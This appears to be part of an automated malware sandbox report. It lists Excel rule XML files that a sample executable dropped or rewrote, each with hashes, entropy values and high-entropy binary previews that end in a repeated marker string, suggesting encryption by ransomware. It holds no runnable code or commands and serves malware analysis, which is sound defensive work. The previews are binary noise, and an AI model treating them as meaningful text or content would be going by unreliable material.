Preview:	<?xml.....-.Ni5.......a....jb..v........2"......<9...S:....'...~4..+].^..y...."....S.;......}'...]..<#t.;):.e..D.q...37UN....:'{.`.4.@;....N.M.}...8.#a;.b..7..9r.@....w.Id..)^.R.L...z.........Y4U..`P.V@....4.r#q.KE.v........Nr{.,g...4......B,..h%C.1.e.\|.~.i......`....#2.%u....d...q.-X...tfKdu..J..~<...UxD...g=NK/QR,o2.S.?9...0r....=zS.....Ns...r.....m4t\|.{.x1b....H&9b...;..\|D._.9.v.f.......#W.}T\|.....FTImFs../}.\l....3i.....3;z..E]...Z....m..\|.......~4..I..B..*.+$ ...9._.-....3.i..10X...u`....&s.n.uq.J\|......d.S....3.........C....'...jo.T..i',..K.j.!..DzBZ^0%......=...b..4....j`.$...YIxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.807469513225396
Encrypted:	false
SSDEEP:	24:2CmvMh+EPc/txLtj/6tChp4gpsPAU4DVTg20SWLyCV9pbD:2C3cGsxLtj/ICpIPAU4JujvPJD
MD5:	9D1307C3385364A62417E7FA051789AA
SHA1:	92829CBE345072504ACAD929D40E0F6A6D6866A9
SHA-256:	899826E84E1839750770384B5EFC84CE2882F2041F95121B72301EF1A82A1AFF
SHA-512:	9D0C21DB3F655E1E44E33F9A6E32711F188618022179AF557FA20733401EA947D7AB1E5114D9DF8EE407C085A493F36B931BE9098860FB738B55D5DC7111C366
Malicious:	false
Preview:	<?xml.(..f....b..-...L^.^...L.v..6.P.N....~.......au.M.#... +<I.7.v. .......+.....W........h....:...h....h..5..O\..Y...;}.th..~....w6..ED...+....7....B#a....!eK..w.....q..Kb]?.M..0.7.E<.....&..*.^U..b...s...\|#.MY.")..A..~...w.......).?i..i$;.....>.....7P.U..v"!...U..0..Dj.lC.}....t..~.8..n}./.rY...K...<@.........Kt.v.(...z.......0x_[..(ai.x.cw..2...c.......$.S.N.I.B..jn\v.n@.x.(....H...9.....E.pZ....LGj.n..6........$.k.^......X.._..4..b!,..V^O...#.......i.q.De.F)..7Z....n4R..qR.5..t.&B....W....s.[.~u...X....o.tDm...z.........P.f]X=.....O@.y!...q4]l.UX..Gi.....(M.F&7....?...V.........5t?<.K.K...a......Yf.M\.3..-T.Vr.@.P.NL./0..6.O.4.$......V..e.`.`\hw.L6.4..~x.d$y..Z"....m.o....d~...........!.[a..q..?.(.'..4.Y.zb....W.]..8.?....2.(......\p.Uk..<...,6[....K.#...o....\|.B...K0D...q2.w.`...\|.......g.hK.(0.\|R..vD%.....P}.cC...Y...........c......5&...n>.)...J.....3.B=P..t..5.'..c.=0.k..x..H.<....z}...'F/..VB..b..K...0.J'. ..6....?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.683302043780895
Encrypted:	false
SSDEEP:	12:oGJvNMbWtImngfpkavg1C5RFiwuUvWHc2xSDcDX/LVPhWkqHshmSI0p5c1cLvf8I:oaSbWtImgB9g45CfUVDcDX/ZhWkGsreo
MD5:	76E24E384773E72DFC080047C63600AA
SHA1:	F07166D385ADE3F2DF1FB744E92F30E4061557F3
SHA-256:	18C98BFFC4211050F64949A0819C9C0FD86A0E51196B1FD5AEBC409DA972E3AB
SHA-512:	6DC2F2869511DADB244F25A98C6FE4592C9D62AA335D537B606DF3CF4358C590C3034C66EE47797B6B438C7DA9D2EB725333C70989F1DD69129A65CC855AB447
Malicious:	false
Preview:	<?xml+....gd.M...g..L...4......J..m.bzcq..z....>...fA..d<....}5.BU...01..z.C.&%..C8.W._....,}......3.A....o..U.)..v...._...!O...O..LY+.'..]7Hm2....)...}.l....L..y.t1.i. ....N,NM".o-.7.....;.7.....E..^....}.'..V..7g.=........P..8.....\|E6\.wA...(.o.s.H.>.t$.pB.92x....[[.aD...H1[...I..p+..M.....'....i.;2...Q3.../.....R].?.jE......:.2N[.........6h,.Bl.r>...0..DH....,6I...Y.U..YL.DV....-...g6..Vfb.?...`..R......_......4.../.z...9..miZ:...'G/E....N.....6Aga(......ya6.......81..w.....S...o...@.Q.Ou..f(@.....(......w..g...5.A.WH.p....7}~f.Y'....}.Di....#SQ..k02$;....X.x"q.+.s.0...F...}..nNL.9U..Kgm.:^2....&6].&qU0.......I.1r.......k...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.803587186702322
Encrypted:	false
SSDEEP:	24:P/zC9jraUVVV4YAR7omSft9J5hOpSTUPutl78C9pbD:j0ra0V3i7omSfjhO/PS71JD
MD5:	643F916F7F1AD0D6788662DBE7E8E617
SHA1:	EFC9145905FF85016BF2C044E1279792A315A07E
SHA-256:	92ADE0670300916CC7604BB3F00952E78125D81BFBFA14935437AAAD96D82418
SHA-512:	590FEC20EEA4F27DD6648128422297341F704768841889D2EF8783542B6312D904A88350CE2D300260EAA31CF5F59F408E598396F4E7E1AA18F9F4BB3A86EB72
Malicious:	false
Preview:	<?xmlw.....8+...%..].......[.........>[.B.iA%_I3..Hi....[.........V}...M.R.V... ..s........../t..X.(.....k{Ac].T...4.,v..?..-2..""1..W..!.h[X..).u.{#.S.....F.cX....,..{../.....&..._3.&..A,....A......D.-..U5.x-mA.K....t.2...=.re.W.......EI......`....x.e[....X.Kh .Q...>+.....6......x.. .r...l....;....M..w...Q.?.).)^.ot.&.W.5..C............/..a..\|..(..r.....x!.c.D.....~..'..S..o..0U.Z;..f.f.......>f.......3.....sf.L6.....N6..6.CW^t....u.`.........sC..79F.,1.ag.O....z..lYN}...T.Xw.q.;... C{..8.PrR.b.G.....oo:..U....{._X}...I...?..........u$v...p...H.@.}4/k.\|..6....t.v..E.....%..A..Ji....}..JC..zB.#>..4........\|5........N./..4....A.m..T..r6...,u..s.....\...B.....4J...#...9.+f_:t.h.......O....\|....}...Y.&..W...3.$..WV.5"...c.~^.K..5....[vB....M..pY.X...ou..J....L.......u.O...~(......Nx......s.Y.l...&..Q....99`..x..z.z..:.Q.o?...'vv[y...&...D....o....@..R '.[k..2 L.6.p.A.%.(7..`p>5.......R..\|4..v..^.#0t.rqS.....7.`..V.5.!-...+.fH...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.98078720933855
Encrypted:	false
SSDEEP:	192:QL+F+zCwhmzuuupiLt3j8uxBm48Fl41sDD0WczZi5k:WCw8G2j8084KQ05k
MD5:	B6197EEA071B8F7EACFB10F8265DC9CE
SHA1:	DB3ED85F9867234C3AACB32C067B4A9707D08B6F
SHA-256:	61C33AC99BF55B168E9941B496859514F3BDDDCF71E8B626DF7BCEBCE54DE6FA
SHA-512:	A09CEC0B8CAEA28793DF79FDD4A669842507895F1611DA9DD624B5054947726226D455B1BADDC16B8229EE2709E5B80AB541EC8F9B7B88E330DBE8FAEA7FE756
Malicious:	false
Preview:	<?xml".L.C5./'j.V0...X....f....2i.#.S7"....Y.L.R.%w,A..~.S..:g....`.<N.m.4py.3.Y...Sh.......+...9.)...l..V.9..y.7.'jVn}.;7......1.g.....$..0..1C...{2S.c...r..y..8#zx..<.z..O.....o....!..C.........k..5\A.......R...[G_.$..@_....@.4ORg.q......n............z.mm.(..s.}..b.q...l. o...y.;w......ga.v\.:..&..4....UO\|.4.i.~.b2^$]l.8@./..M.gNB. .../?...pv.#~.z.....k}..^.-..Q...~;%...................7~l.).n{2 Y..........G..Arh.....KV......{E.$D...0.....9.A.5Fn..a......cl...^.+.,L"..9P.jI7h..F("........r.Bb.@.^[,OU..'.Ts..n..h..Y).oz.....<o.5?...j..7-....uE...........p...y..3...'@.......G.v...zG..u.+b..0....<....)......%:..Z....]...=..."...x...ZV.e".J)....L"....ld.....R.....R..a.I.!..V....-=.r_.....D....tl...y....i...r....~?....:9...:.U.5A..L.i..i..V.h8O.....G.,...j........e..BO3..}..........wF........4*.9a........as....M...5..8..L..........]......]..:....!..e..C..d.c........,2SP..Q?9.G......+&(...".m..<t.N.g.?..Y...%.?....+s..J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.786946471041848
Encrypted:	false
SSDEEP:	24:QCXjD4UmPRd0KnrbIwd7lHdyH3ApZsLaqJJwifkv15uTVRt9pbD:Q2D/EaKnwwbH0zLa8JX7jnJD
MD5:	C770FB53AFB80ABA74139B140ECA39FE
SHA1:	7A7EF9FC1B6425A8C498DB487899B3313EE4B8AB
SHA-256:	7240307BA88B9D57C3F326222AF4995ECDA1678F10BA5F8945D989B2471CEA7E
SHA-512:	D818A1A2AFE52847552F48A4C285E6B0D0331AB7475168B474C0AF42BEEB6AA03B5FC77949F3585D69A2FD4A49D30FDB7C0A7ED83E08D86A0C44677457D229EC
Malicious:	false
Preview:	<?xml.v.z.._../J...u.....U.m.Iv..-.l.P)x&Xz........F..a...F2::..m..d.'.wZ7..w[H...S...?K1..B.m...[3...s.%..">>..4....3...-..X..3.W.'.^j%).k.....u2J.)...-.t.U.p...4+....i...S..Ar....t.e_^..>..A..>.e0.-;X4..3];K.".C=..Ea..(`<.......U....k9O...V..}.!BJG......^..Y..F$.bE4FLB&N.r.K+=].5m.V?%......w......C.PY....x..@T.L./.[<;H...2b.z..E.O....=...D.&.eYDR.j....n.)..].V9~.........q5/..6....^.8..............b.S.i..2;q.....al.:.:.p&........?.YYM.../..BI....,..g.%.-..-.LFU......f.l..a.R...*u.E,...D........o.....V4.&........^._ O.K.....%v!.W.O.........<..V......m...#.S."....f.6....g..:....0..,...1-.........AO.p.s....`'Q.^.o..5...N.t...:.y...#..VS..O..(J..$..}.n......x$..zX.6.....l$.V.X..). .a.ab'....H7.v.j.B..".].k?;.!.aJ.2.9 .G...'.....H.ji..L.r)%..Lh..K.Q.C...8...1.5.&."]...&I.....0.j...3..j#..x.>.I\|..w-...-_r..3b.G...B..NCh...e. :...\v..q.l+.F...E,..p{B8........itw...\|.[..@..,......<..0..<....z../.8X.I.F.k..D.S....)..xcdIdDNFh62dy3iJsba1COhcfDENsbj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.805516005696703
Encrypted:	false
SSDEEP:	24:K84niyjznCl+84GPZd3hnjAww7oqNCAJHyYznQu9pbD:KK2s5DhJZsaHY3JD
MD5:	DB40A42DDE398E1AEB38A63908138B10
SHA1:	10C9F530638B7B5EB809867A35A6C340A47D43AD
SHA-256:	0F653219B965E44A34D51E4A3D6202D8CACB4291D218831DFC98C3F656AFA05A
SHA-512:	5B2C629D2C4E60989318D1765E75FCFB3A07DCF8CBDC53EC799AAA3079685A6AC97BE23ABFE17EF7F44D3B2352032744F5269BE796DED1411453BC4142056165
Malicious:	false
Preview:	<?xmlY\M.^..}....0..l....}...Za.\L.\|.....3)....m..#'.,......WI.4`..z./....R.?Le.(&..~./...g........3%".Z.ni=...m7..+_..O.3OC{...s..m..l.S..zn..Sg......H.....5.....I.8n.e...&h...ER.[.w...xd.....N...k...!^....y)LYP....K.x..q...i..a....I.C2...qT.rl.V.......,b..z...s.Ga..g.S1ZE...D.]4b.....@6.G.._W..(.u..&)..!.?.B...wG....#W..7.<.*K.....NE...A{.@.K......r.m..].\|..^.d5.E..F......Z..T+.4.._.mA6.....jr.J..a.?../.........s.r)9N...........~&..,GWM...?..C.'..x...p.......Q..f@..\........h&.]...u....q...y.(.M..g.k[........'...=.v..&.....}....KoC.D...2/...'.....N,t.-....:...:.SUL.............pS(....0o....^qv`5.L.{..~...?..~..vh.....4@.d..L..f...!w.\|..'v.+.IN.A..E-#..........O...8m..\^.q.:....v.U....m.l5..<.9...T.1..F.;&.6......./..........t....};...b...E.4EXF..!4._..,....4..&=D..#.......M.f.n...f.!.f..............S..6r..$.....g..._\|.~..(.v.B+\_.....$:ff.lu..)..N..W..Y....A.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.936729932734557
Encrypted:	false
SSDEEP:	48:MpDpWH5hPAeQusEreC+iI1pK83f5tr+/69t0HbHP78J0+j6ROjP1ddIgc7EJD:ukH5hPzRsFVphfLr+S9t08/ucrfT
MD5:	AB24612A51B1C24369EB3C92F921CAEA
SHA1:	73AF004761BB1A29DC0AA0E457552E6068674A50
SHA-256:	24AC1A8C96C7F156ACF52F06D050F879E3992627D124682D0009400D945CCEA3
SHA-512:	56F07F0382B68DF28A9715B77D06534AB022C15B2936FF8B5A417C1CDCD0D4E5C3D1D68A24C03D3B96FC16E494C7D016611CB0D67FEF8C0C8EAE36C1A17E1AA3
Malicious:	false
Preview:	<?xml.Vbz...2.'...1.E.-Bz..}...D..'b.3......)t.;;..E....)..Z&JO.....gh<zW....tqF.....H_8...-.....D.#.4C+m......c6.....E"..AO4Sw f.B......t]........C.=.\.4."..'j.......T..{2.)..5..[Z.I...6GG=...8.N.....d....e.C.....j'.N...P.!..i...UTg.c..{......k.Z.,.Qa..T.M.BWz.ar..F.:..(.....8qRe.1.9.T....i..)"w.=@...`W.~.^...g...../....j.m..5q.X8.:;.]..._....A@l.q+g0:.......^......pT....^3.;...o....L..V.A....M?~#.S..h?......LH..+..e...j....>X\|\|.[...-j9').o..Z\|..o7..X.$k&.,X.@.2.....S.!...,...O._.U.......v...).p..3v...:......"......B.D.E.+tQ.'>6..rI...xn.........,...sr.;..gY.......}E....V..6.VF{.........t.'.D.Jw..t.H..B..`<........R........f...GB..-4w..P..ve..\.9.7e!.5Z-lI]...P..p.....C.....t.W-.%.o.?.&...Y!...4....=.z..U.?..i......0i..Q.S...h).jt..ww_.).9$....4o+M.#.....@%s).&.#^.A5f.k...(..%....~8g...&\|.fo.D.nO-...m;....g6..E...B).......)K....&....[.f....i_4..4."..>3Y/<.../.k1eK$..`.9..*...[.w.TY/.%K-~....3.).S.:...\|E.....@..%.&v.&s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.919184373386156
Encrypted:	false
SSDEEP:	48:jaNgnyvAmvEZ02Kg7kSegEGnx3N/cRFaSPbjMW5oOldGnvHDJD:mNgnyrsZbKCXegbx9URlzdo6GnvV
MD5:	FD89761512BFD219CFD4C75F0F4EB64B
SHA1:	FAB4C434E5AA260F6898B40DA06B2D07E48BF228
SHA-256:	43F80C5ED895B921F8069476D0E834D156CB56123D63D5FC78504040097BAB52
SHA-512:	33EFBDAE5BAD62EFC92FBF2D5D2B6865BEF444AD719D67823AA3FEABCA6B364ACF21A108CE9BF16C5F96902BAA01EE4DB6C93867806124B41FD57D1A8861A572
Malicious:	false
Preview:	<?xmlP.zo.V.u0.X...0...{$s..a5K.j.5.w.e.cq.T...m.s.3.w.8}\|.`...>0...4......iy+.z...r"5Y..........W.\c.Y.IGI.O.T.4.0.H......p.M8.........plN.`...k.......3..Sr./..\...%..j\|p..U....9JvL..v.[..Q....9.\...]..w].V..q. ...#.5....oX@. ...t-b......Ug..I..i.f........Nn.7P.e..p..2.JJ\|.......T..K......Z...B........]%._..D.1.P..U........q.w2.d[%...C..P.!..0./.j..[.x..{...b.B....T.'.t.4.O....Q.Ld).0..>.ulj...l"l 28.....k<...,.=z..P......@...fH)...2...".Z..=.a........%.Q..j..........3..'.L&...7..oL..zn1.....M.z.q...nA....}..j8.\|.5.VTV..uk..M.4GX..W..)x..Aso....c.F././E.w.8....su.\|..}-..B..0D.s.,6...<}.....]_..d.}\|2^&..........L..x.<..O..O..?hs...tW.g.>;.Y,..5R\|..........{.4.......^\|N.V.B........K.9v....o..s.T0w.'....y.'...%..8..L...X..a......k_7\..,.3[...O/mm...xe.B...f..........^.5S.9.u.\..... P.Ys@..:T......\:.&.d....Q..f('.F..[.b..&.m+.V."B./Z.M........B...CrmE0..CM..:q.\|..2.-TU.T...TR..~..D.....sy,.V=.&.m.0iI..[.............4..r4zK.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.929812423802921
Encrypted:	false
SSDEEP:	48:Mhv6OWT/KyahkEO4dnqqRWV6Aiq0sOflGkMmNfkEni9inc5/I3uRppWsTo0LJIJD:IETifO4FqEWVOsO9GZ8Xns/I2vTor
MD5:	D9B85E2D88EF1DD5D1CE31C156B2A20F
SHA1:	BEC1E9C41D4131D8F8B812250FA5B9B8CB463BDE
SHA-256:	30FB8010D73B1E6421528771C7CF75BD488D53E6588B0AEFE7AB6255B71AA795
SHA-512:	B2C3DD474A3B0CA3BCE16C327032A19DF1AEC9B36EDF1313E13A92CB06DB7255EA7EDDDE5F44884C39C214539278B1E1AD9093E51E2415667AFCCB8821B822AB
Malicious:	false
Preview:	<?xml...E.za).O...Q.s....fh....^{+lv."."e...K...y.PX.a.r..'mK.....Dk.0..0A..!t...N.....yrN3._'H./]........Si.jEpA.j.Y".....u..Y.=O..$.$Q\3D..5..R..M)....E.....Hp].k}L0;.m...c]f..G.bg....H0..._./V....p.".X.:.rj....Q....c...".-sv(w....&e.T.....z..}..............J.r.w.........-e...9.u.J..\..."..t...c#K,...........U..(5.P2.0\|.f.z.{vW.EA4..u........\.!.uT..GNvz.gc.%.r$^..'G.XX ......S..<>..^.R........hX.....)..~q.......8mL.i...{.+1..u....?.....8..6.9.N_..R......4...i..)..Bx..G..l.s...S.....'........2.../.#./.W...?...J..[.7/$...Xt.n(_......'..qt.Y..J.f.......NC.6?o.m.N.$b.F..%s..N.f.5..\|...V...EQ...M;..sI.......S.a}!...U.Rw..9X.R.....f..o..:Z.L......._...-...$.."I...%...........3'wt......1...v..?.t...Wt.#...k..W}.Y3E..A.,....... u.d;...<70.@....f./..K!RU.z/=....?E.o.[.i.>........@LZy..}..y..B....P1\.J*..V00E.PY..........M...3.........N(..5.qu....Ptk.....D..J...l_#..z...z!...3.....z7r..B..#.........c@...n....x.K...IE.a1..^.._..B...z.E.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.758558156824064
Encrypted:	false
SSDEEP:	24:ipOLnkQgWAzorfBWd4dVPt9n9kkTS0Gd8Ke9pbD:aOrkQgWAzozQ4dPkKmdTQJD
MD5:	F2CF8FE86AA3EB290C35F88A0C11C41A
SHA1:	8CDF615C7F8B56FF1765E620E03BD3BB147FE7DE
SHA-256:	45A10882AED41348EAB586D66547B3EB4B1AF044039AA00BD91E817B1AA6AC42
SHA-512:	6B91442794E66B291064EA0E86E044D3D0F4A3FD3039C812A69E1B4ACA648627FBBBBFD0B91D3FABA902C62816A203F6907700AB577924B43B50EEA98BBE74B7
Malicious:	false
Preview:	<?xml.kK..1`5....%......d..wE...C.-.n......F...1.A<'...Ft.e.&36..X..w.W5..I.m;.p..u....>+K2..X.=.......LX..P6_sIc9..........`.:.(..x(.Ep.............>F.M..?...0.5.....r. .r]YD8..t*.<..........N.\|u.Q..u......U0..A.n.k.........8.xaL......Y.....T...NH.;.+l9w...n.)..dM..B.c.`.v..G.s..eM.S......Hf.HYZ..rm................TcV.......y..O...&..l.Q..meW<n.H-.a=v...>P..$..\.ep".Y.....U...[^..-L(C...N.[mq...4...d.v.....}.5.R.)....e.j..l.....w...(L5..A2..Y.r.$dq.r....ih.g.Q....j. @...H.../.w...Nm......C.={./~..Wm.;..X..eL..g.m....._....T..w.k$..g....6.m}.~...h..U..`M.m9@.j.2...xr...j{..~...A':....U.h.....T,.%../.w-K.s.H=7.l...:..... ..#.Z....h.A\|....^8..`.....e.........Y....@.oBIo.........-YV.3.................m...a...C..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.795900416492306
Encrypted:	false
SSDEEP:	24:4guj/RHbEiGo+cHkWyaW9A/OGPn7MXpfRc4k9pbD:QVEih+cEWyaW9ovMZ96JD
MD5:	D3CDA490CA4A17FEA48C3A1ED108E6BE
SHA1:	AE229EAFA3CAFB1C8CCA380D02515A832113063E
SHA-256:	5EBC6B8E5C660CA4AE5EAEDD828DD5E026C6E9A06D4F46BD5BCA7A655C5FDB81
SHA-512:	8DCFFA8BFD4B1DC0DC8F9B613671AA273DA787EC3E22D96D7E9AA3CABECDCF505026594EE10E6C4B0226A2C3B94ED66F744D643322ECFBF30D1E2AAD283E36D5
Malicious:	false
Preview:	<?xml4..v`....R8.._..I....E.,..PK2...\|... .d..EI..)......N.W..]n.7g..6...d.n.h....9..0..OU.L..S...?7.Rl..\z...bQz!.Y.kA.r5o...f.D.vE....{...Ab.....P..8..Sv.ch..E.` .......$.E.4...q......=@.9...si....a.M..Or.....C.w#.K....r.......Idn...\s.k.......=!....1...l...G.P......Ed5../.].B.ei.j$!..G#..nS..3{<...!wU....x......2...}].pB.j..[._.Q ......8.0/C.&.o>.?..R..\|.^...~?.9.K..".........M/N....G.+.l.L.).CH...q.....V>....P...U...$r.;.aF?..`5.>_......7g..4.#iIm....k%.A..QS......;(..-.].7"WO/...8.Y..}.b.....L.u.S...!`..S:mj.c...h^..\|n..........oN.....[..I..C....D......gr..?..0`.K.Q5..C......s!.@-n.9r.<....q%.$.....I5..:..jI....Bl..K....c6..\|.dYb..r..>.k.VnR.0....~..#c.X.7..wi;..i..i...p.....-4...j6..'.<..jt...`p....t....S..e.oL.=......$..o..l.....(a.osW..y....j.M..M.U...P#.Y..M..>..s.3A]..=v.t0$J."..vT\m......[.Yb:......:...j...R..~....../.4.......LG.F.fL.Z.<.[T.,..I~.'.HW......r..a*.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.854172601775809
Encrypted:	false
SSDEEP:	24:aOm/oF40fkE57LzbRj6sIHR2WanxrvNX9p6XCLuFUFTpeCK4XbaTC9pbD:a5/oFZkG7LzQYxZtCcuGFTp9JD
MD5:	51766DFDBD88164B41CEC6D7A19A8FDD
SHA1:	050C1E89172D0819FE2C5BCE414A1FE9A6349BF4
SHA-256:	C837EFE05527B5A32B21400F67F6F98942E1E2F9605937E1AEDA64A8826B5287
SHA-512:	BA5E348743AFEAEBD94858446D80901C9959FD7C53B4AC7B238CD7FA6FCF3B8B017E4A03821EFEAA928EBC8470BF24F27B093F5E09F84E032409F52107AD9CEC
Malicious:	false
Preview:	<?xml.;=M./D.j...5T......a..a.98....\$..o_......z.....G.oi9..i.a....9."......@..<`..6.W.c.v%........M.yWF ........a...j..........w..4....#.R....i..H.SW.y..b.>...'.C...4=..SV.....Q8B'[...EH..a....h......^?..G..H..e.....B#m'f..\|j.5e......vg.r.k..>...U....'....S.....d.iR.k'....1>.. ..X..>..`...]...p>.........3iLq........gc:.1.L4.9...y.....v.WK.\F.....9..]z.\..:.n...oa$...j.....}S...o..kHh..!\|..x.7......._.W.j.s.-?[...E.GD.=.N..X....<..t7..~.......:.#..P%........O.n2.".....lX...%q.......~=.sy...).....D.i...}Q.{xY.wjr.k{.A.5DOL.0.5...F..2Y....U.j....k2./..U...#lqo ...Y..k.....y.,..s+U./1..2Nc(..&.R..y..sA.W..r3.....V...^{..x...VTr...qO.H..!.......}c..r ...n..0..G.V......"8..Z.....6f.;Y..q...9>.X...5.q.G.x..m.....j!z...VQ&..<.9?..:<n.....m...KaU.d:.f.+..0c....!....O....'.?..8L.a.$..S.l5.iJ.....7.,P.jQ..\|.Yd.p}>.h...Q-......(.w.RL.i....0O.....,&&........;\|]...j.}.VV....*^.P<.7T=)..... .'..^..x..:...IC/..........t...WE..mCh#pK..yJL.fm.r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.8818494853395125
Encrypted:	false
SSDEEP:	24:QweAgtPxegkGn2oV1LoUlZcKzjfIiEFDSUXeXWwTCYvaWStxsJxT9p6wEoOXvGHM:Qw012EVzH1bwSUkWBYiWSep6t7GKJD
MD5:	6B2E3E5767CEEC8C7177125D47649076
SHA1:	F1D1B430E5B2F496DB405E8DEA9B5FADBF3B8F2C
SHA-256:	48E20706382BEFABC42F4C88E3EB6D3D86E422DBE402916C20CC6328B77387F5
SHA-512:	77E895C5CC88CDC91AFCED16C48F23EDD5ADEE80436A7A9E393B660C8A982BFC0A8E6AE151D4D20AE3963427082697296FD687FD2281AB74042740DDC7E86918
Malicious:	false
Preview:	<?xml.2.....i...9.I.4#..G..q..c..i.7.'I.,.......Ub6+..~....Npb..."....T./9S..h.w..^e..k...e.-...v.!..[.a...3.\..3N..r.E.M._.on8(.)....4(......&.-.M....+.F.....f..s.....r.....T:.T..a.........WS.w.W...,.q....g...p.YoF@...R..:.Z.W..{>P.+...:...i.....Q.....X%@........}>.T...r..[=<.~...t,...^....F...H.D.]....mB4vv'mu.....QR.4.......^.....\J.(..VXJ~..$L.5.[-.caP..8...U..Q..{...jh.?....-Z.w,..t.XQ........./...uC..gB..t.....)K.xX~....L3Ab.H=...i..?..-..i0..6..8>..3a.y..`u.........s]y.OK:d.zX-..T.a...>.z`(.@...{o...EZU..).[zk.DK...?2t....M.fb...^...<..qV1..E;.sq.E...F.6....m...X.fL>...s..%..Y..T,.7..D.-.D.4S....U.)] pD>....v_q..s...].e'...>5...~.O/].S#.....)...".J.....nnX.*..D.....w..rm...V.d.@'.P:.lV.......A..HP........j.'g..Q....f^. J~t.@.$....p. ab....;8..l._FMK@...$...... .F\(~.N.c..v..}...=I[..N.......U......wg.<.E}.]uo.Y.z1..!..h.?\....3..#.$.B.....^....Wqd....q.>..(9..H.9...%.x.M.f..G.j@........t.wk...7l.............7...Rd.4?./.>.w.....z..[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.926777185810721
Encrypted:	false
SSDEEP:	48:C2E/b3ECxE8yiYVnx3b2Jv/fH4PpzH/teURaAkNRwvCV9JD:iTE2DknxKVIPd/15EWG
MD5:	1627B6CFA040C51846902D9954176575
SHA1:	13962D5C9D481D47EE618CC66F5E2211A727E657
SHA-256:	A2826D91D18BE79E85A9FC32B3BEDA89D0D58CBCD3D0D2A049722AD16847FBEB
SHA-512:	37382053A3E866CABAC3A71F96A59A3E1C75E47014E5329D36C86A7FB22E6789E831E1543FBE3044A142A40862B226A502AD005A62EED9286B8FE6F5293AB839
Malicious:	false
Preview:	<?xmle.z......Z..B...U\|r..'.0...d..j.N.O..K>..N..9...!..P..izy..0C.G.X.N.5.).A.. ..H..9.).Uq"jU..8...2[..4DH.N.OT~.....c-.01..@.\|.w..P..-.......j../..] 7...6.G.S.....%@TK.,....,.d.v..E".'..E.Z9...F...THwG.+.EF....;.bs.97.Oa.A}.D".U}..3MS..R?. H.OX...........L....9.ZQT.P=..c;.o...p.l.!..:U.Mqn....n/}%Y.f.P6'.A..e......Bf....7Z/f=2.......j.j..o\|.m.[g.......N.N....5.......T..#`Y....]...g...dqV.0..(...../$..jU...w_...$..`'...\|.lBZ.E.B.#........M..d....%...#...t.....a.X{...#([.v...4...b...5)...(../...@=...D..agi"..E.....a}{W....Ff.g.PNj..x#_.\|....=(..0w..3..q\|!...yS........)a....S..fT....M8..e8)..by.....t`..X..w>.jQ;.\|.......4D....M...%..{c..-).,.[.l.!...........lnb6.^...z......M.E9....'....#.....g$..Rg.#..U.y..r......E !.B.We...6B...9.....`8)..[sW...H..TI.C..B....y.....9.%...bQ[...B/..H.....f.....KjUHB^....u).}.ZZ.......F......3.#T.... 